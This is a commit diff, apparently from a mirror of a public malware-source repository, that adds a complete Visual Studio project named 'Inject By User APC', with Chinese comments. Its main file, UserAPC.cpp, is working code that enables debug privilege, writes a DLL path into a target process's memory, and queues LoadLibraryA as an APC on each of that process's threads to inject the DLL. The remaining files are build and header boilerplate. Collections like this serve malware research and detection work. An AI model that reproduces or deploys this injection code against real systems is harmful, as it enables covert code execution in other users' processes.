mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
updates and moves
n/a
This commit is contained in:
@@ -0,0 +1 @@
|
||||
Inject By User APC
|
||||
@@ -0,0 +1,26 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UserAPC", "UserAPC\UserAPC.vcxproj", "{5B25B230-6B8A-492F-BB1A-89B498F2172E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Debug|x64.Build.0 = Debug|x64
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|Win32.Build.0 = Release|Win32
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|x64.ActiveCfg = Release|x64
|
||||
{5B25B230-6B8A-492F-BB1A-89B498F2172E}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,17 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by APC.rc
|
||||
//
|
||||
|
||||
#define IDS_APP_TITLE 103
|
||||
|
||||
// 新对象的下一组默认值
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1000
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,138 @@
|
||||
/************************************************************************
|
||||
*
|
||||
* 1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
|
||||
* 2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
|
||||
* 3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针
|
||||
* 如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
|
||||
* 4) 线程有个可提醒状态,如果为FALSE,则不会调用用户APC队列
|
||||
*************************************************************************/
|
||||
#include "stdafx.h"
|
||||
#include "UserAPC.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <TlHelp32.h>
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
using namespace std;
|
||||
|
||||
#define DEF_BUF_SIZE 1024
|
||||
BOOL AdjustPrivilege();
|
||||
BOOL InjectModuleToProcessById(DWORD dwProcessId);
|
||||
// 用于存储注入模块DLL的路径全名
|
||||
char szDllPath[DEF_BUF_SIZE] = {0} ;
|
||||
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
// 取得当前工作目录路径
|
||||
GetCurrentDirectoryA(DEF_BUF_SIZE, szDllPath);
|
||||
|
||||
// 生成注入模块DLL的路径全名
|
||||
#ifdef _WIN64
|
||||
strcat ( szDllPath, "\\Dllx64.dll" ) ;
|
||||
#else
|
||||
strcat ( szDllPath, "\\Dllx86.dll" ) ;
|
||||
#endif
|
||||
|
||||
DWORD dwProcessId = 0 ;
|
||||
// 接收用户输入的目标进程ID
|
||||
while( cout << "请输入目标进程ID:" && cin >> dwProcessId && dwProcessId > 0 )
|
||||
{
|
||||
BOOL bRet = InjectModuleToProcessById(dwProcessId);
|
||||
cout << (bRet ? "注入成功":"注入失败") << endl ;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
// 使用APC机制向指定ID的进程注入模块
|
||||
BOOL InjectModuleToProcessById(DWORD dwProcessId)
|
||||
{
|
||||
SIZE_T dwRet = 0;
|
||||
BOOL bStatus = FALSE ;
|
||||
LPVOID lpData = NULL ;
|
||||
UINT uLen = strlen(szDllPath) + 1;
|
||||
|
||||
AdjustPrivilege(); //
|
||||
|
||||
// 打开目标进程
|
||||
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
|
||||
if(hProcess)
|
||||
{
|
||||
// 分配空间
|
||||
lpData = VirtualAllocEx ( hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if ( lpData )
|
||||
{
|
||||
// 写入需要注入的模块路径全名
|
||||
bStatus = WriteProcessMemory(hProcess, lpData, szDllPath, uLen, (SIZE_T*)(&dwRet));
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
if (bStatus == FALSE)
|
||||
return FALSE ;
|
||||
|
||||
// 创建线程快照
|
||||
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
|
||||
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
||||
if(hThreadSnap == INVALID_HANDLE_VALUE)
|
||||
return FALSE ;
|
||||
|
||||
bStatus = FALSE ;
|
||||
// 枚举所有线程
|
||||
if(Thread32First(hThreadSnap, &te32))
|
||||
{
|
||||
do{
|
||||
// 判断是否目标进程中的线程
|
||||
if(te32.th32OwnerProcessID == dwProcessId)
|
||||
{
|
||||
// 打开线程
|
||||
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
|
||||
if ( hThread )
|
||||
{
|
||||
// 向指定线程添加APC
|
||||
DWORD dwRet1 = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
|
||||
if ( dwRet1 > 0 )
|
||||
{
|
||||
bStatus = TRUE ;
|
||||
}
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
}while(Thread32Next ( hThreadSnap, &te32));
|
||||
}
|
||||
|
||||
CloseHandle(hThreadSnap);
|
||||
return bStatus;
|
||||
}
|
||||
|
||||
|
||||
BOOL AdjustPrivilege()
|
||||
{
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES pTP;
|
||||
LUID uID;
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
|
||||
{
|
||||
printf("OpenProcessToken is Error\n");
|
||||
return false;
|
||||
}
|
||||
if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID)) //调式
|
||||
{
|
||||
printf("LookupPrivilegeValue is Error\n");
|
||||
return false;
|
||||
}
|
||||
pTP.PrivilegeCount = 1;
|
||||
pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
pTP.Privileges[0].Luid = uID;
|
||||
//在这里我们进行调整权限
|
||||
if (!AdjustTokenPrivileges(hToken,false,&pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
|
||||
{
|
||||
printf("AdjuestTokenPrivileges is Error\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
Binary file not shown.
@@ -0,0 +1,161 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{5B25B230-6B8A-492F-BB1A-89B498F2172E}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>UserAPC</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<UseOfMfc>Dynamic</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<UseOfMfc>Dynamic</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<UseOfMfc>Dynamic</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<UseOfMfc>Dynamic</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="UserAPC.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="UserAPC.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="UserAPC.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="APC.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="APC.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="APC.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,2 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
@@ -0,0 +1,32 @@
|
||||
// stdafx.h : 标准系统包含文件的包含文件,
|
||||
// 或是经常使用但不常更改的
|
||||
// 特定于项目的包含文件
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
|
||||
|
||||
#ifndef VC_EXTRALEAN
|
||||
#define VC_EXTRALEAN // 从 Windows 头文件中排除极少使用的信息
|
||||
#endif
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h> // MFC 核心组件和标准组件
|
||||
#include <afxext.h> // MFC 扩展
|
||||
#ifndef _AFX_NO_OLE_SUPPORT
|
||||
#include <afxdtctl.h> // MFC 对 Internet Explorer 4 公共控件的支持
|
||||
#endif
|
||||
#ifndef _AFX_NO_AFXCMN_SUPPORT
|
||||
#include <afxcmn.h> // MFC 对 Windows 公共控件的支持
|
||||
#endif // _AFX_NO_AFXCMN_SUPPORT
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
|
||||
// TODO: 在此处引用程序需要的其他头文件
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
|
||||
|
||||
// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
|
||||
// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
Reference in New Issue
Block a user